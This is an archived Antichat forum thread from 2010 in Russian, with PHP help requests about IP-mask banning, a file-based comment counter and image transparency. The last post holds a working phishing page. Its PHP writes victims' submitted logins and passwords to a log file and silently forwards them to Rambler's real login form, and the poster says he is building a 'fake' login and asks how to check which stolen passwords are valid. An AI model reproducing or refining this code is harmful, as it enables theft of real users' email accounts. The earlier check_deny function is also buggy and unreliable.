Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

12.01.2010, 18:00
|
|
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
Провел на форуме: 5302668
Репутация:
2054
|
|
Спасибо, но я уже сделал по примерам таким вот способом:
PHP код:
<?php
function check_deny($mask)
{
$idx = preg_match("#(.*)\.(.*)\.(.*)\.(.*)#", $mask, $ban_args);
$idx = preg_match("#(.*)\.(.*)\.(.*)\.(.*)#", $_SERVER["REMOTE_ADDR"], $ip_args);
for($x=1;$x<=4;$x++)
{
if (($ban_args[$x] == $ip_args[$x]) || $ban_args[$x] == "XXX")
return "banned";
return "clear";
}
}
function smarty_function_sape($params,&$smarty)
{
define('_SAPE_USER', '85e0d69d................1eb2d3a3');
require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php');
$banmask1 = "1.1.1.XXX";
$banmask2 = "2.2.2.XXX";
$banmask3 = "3.3.3.XXX";
// $o[ 'force_show_code' ] = true;
//$sape = new SAPE_client( $o );
if (check_deny($banmask1)=="banned")
{
echo "";
}elseif (check_deny($banmask2)=="banned")
{
echo "";
}elseif (check_deny($banmask3)=="banned")
{
echo "";
}else
{$sape = new SAPE_client();
echo $sape->return_links();
}
}
?>
__________________
Лучший способ защиты - это нападение!!!
|
|
|

13.01.2010, 05:05
|
|
Познающий
Регистрация: 18.04.2009
Сообщений: 33
Провел на форуме: 260138
Репутация:
2
|
|
Как сделать чтобы количество комментариев записывалось в файл? Вставляю этот код в обработчик
PHP код:
<?PHP $file = file_get_contents('text.txt'); preg_match('(.*)', $file, $out) ; $a=$out[0]; $filelog = fopen("text.txt","w+"); $a=$a+1; fwrite($filelog," $a "); fclose($filelog); ?>
но он выдаёт ошибку. Как исправить? или подскажите другой способ.
|
|
|

13.01.2010, 09:00
|
|
Участник форума
Регистрация: 31.12.2007
Сообщений: 279
Провел на форуме: 1725509
Репутация:
114
|
|
Спасибо, но я уже сделал по примерам таким вот способом:
Странно мне нужно было тоже самое,но не для сапы..
взял у вас функцию check_deny
передаю ей маску 127.0.0.XXX
и тестирую на локалке. Получается мой ИП 127.0.0.1 и он попадает в маску. Функция говорит Banned
но передаем следом маску 127.0.1.XXX и тоже говорит banned
|
|
|

13.01.2010, 15:30
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Вот на скорую руку, вроде справляется, но не углублялся.
PHP код:
<?php
ban_ip('127.0.0.*');
echo 'Все ок =)';
function ban_ip($mask) {
list($ip1,$ip2,$ip3,$ip4) = explode('.',$mask);
$regexp = "#$ip1\.$ip2\.$ip3\.$ip4#";
$regexp = str_replace('*','(\d+)',$regexp);
if(preg_match($regexp,$_SERVER['REMOTE_ADDR']))
die('Извините, но ваш IP('.$_SERVER['REMOTE_ADDR'].') адрес, попадает под маску заблокированных.');
}
?>
|
|
|

13.01.2010, 17:58
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
Strilo4ka Есть мнение, что под расширением может скрываться почти любая СУБД. Любая из этих- http://ru.php.net/manual/en/refs.database.vendors.php и не только
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
|
|
|

13.01.2010, 17:58
|
|
Участник форума
Регистрация: 05.06.2009
Сообщений: 225
Провел на форуме: 2793173
Репутация:
297
|
|
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
Последний раз редактировалось winlogon.exe; 13.01.2010 в 18:06..
|
|
|

13.01.2010, 19:04
|
|
Познающий
Регистрация: 16.03.2009
Сообщений: 82
Провел на форуме: 148667
Репутация:
23
|
|
Сообщение от winlogon.exe
как сделать чтобы при открытии картинки на сайте оно было прозрачным на сколько то процентов?
Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.
|
|
|

13.01.2010, 19:56
|
|
Участник форума
Регистрация: 05.06.2009
Сообщений: 225
Провел на форуме: 2793173
Репутация:
297
|
|
Сообщение от Patronik
Делай в фотошопе, а потом сохрани в png формате. PNG поддержывает прозрачный слой.
нет. картинка-информер берется с другого сайта
|
|
|

13.01.2010, 20:12
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Гугли "прозрачность на gd2"
|
|
|

14.01.2010, 02:52
|
|
Познающий
Регистрация: 24.05.2009
Сообщений: 44
Провел на форуме: 367760
Репутация:
33
|
|
Здраствуйте!
PHP код:
<?php $f=fopen("pass.log","at");
flock($f,2);
fputs($f,"Логин: ".$_POST['login']."\n");
fputs($f,"Пароль ".$_POST['passw']."\n"."---------------\n");
flock($f,3); fclose($f);
?>
<form id="send" method="post" action="http://id.rambler.ru/script/auth.cgi?mode=login" name="auth_form">
<input type="hidden" name="from" value="">
<input type="hidden" name="back" value="http://mail.rambler.ru/mail/startpage">
<input type="hidden" name="url" value="">
<input type="text" name="login" id="login" value="<?php echo $login ?>">
<input type="password" name="passw" id="passw" value="<?php echo $passw ?>">
</form>
<script>
setTimeout(document.getElementById('send').submit(),5);
</script>
Авторизация если правильный логин и пароль проходит!
А вот как получить ответ от сервера?
Тоесть если не правильный пароль то не переходит на сайт рамблера а переходит на другую страницу!
Так сказать
PHP код:
if ($login == 'login',$passw == 'passw')
{
echo "Правильный пароль";
}
else
{
echo "Не правильный пароль";
}
Для понятия пишу Фейк с авторизацией!
Заранее благодарен) 
Последний раз редактировалось Mil-Net; 14.01.2010 в 02:56..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|